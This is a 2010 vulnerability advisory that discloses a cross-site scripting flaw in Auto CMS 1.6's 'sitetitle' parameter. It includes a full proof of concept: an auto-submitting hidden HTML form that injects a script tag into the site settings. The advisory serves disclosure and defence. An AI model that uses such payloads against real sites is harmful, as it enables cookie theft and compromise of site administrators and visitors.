Auto CMS 1.6 Cross Site Scripting

`Vulnerability ID: HTB22564  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_auto_cms.html  
Product: Auto CMS  
Vendor: Roberto Aleman ( http://ventics.com/autocms/ )   
Vulnerable Version: 1.6 and Probably Prior Versions  
Vendor Notification: 09 August 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "autocms.php" script to properly sanitize user-supplied input in "sitetitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data" >  
  
<input type="hidden" name="site_name" value="AutoCMS by Roberto Aleman" />  
<input type="hidden" name="site_url" value="index.php" />  
<input type="hidden" name="sitetitle" value='AutoCMS by Roberto Aleman"><script>alert("XSS")</script>' />  
<input type="hidden" name="admin_email" value="[email protected]" />  
<input type="hidden" name="admin_password" value="" />  
<input type="hidden" name="css_file" value="black.css" />  
<input type="hidden" name="index_name_link" value="Index" />  
<input type="hidden" name="about_name_link" value="About" />  
<input type="hidden" name="about_content" value="put about text here" />  
<input type="hidden" name="ps_name_link" value="" />  
<input type="hidden" name="ps_content" value="put producs and services text here" />  
<input type="hidden" name="news_name_link" value="News" />  
<input type="hidden" name="news_content" value="Title Example1: Text Example1/Title Example2: Text Example2/" />  
<input type="hidden" name="contact_name_link" value="Contact" />  
<input type="hidden" name="update" value="update" />  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`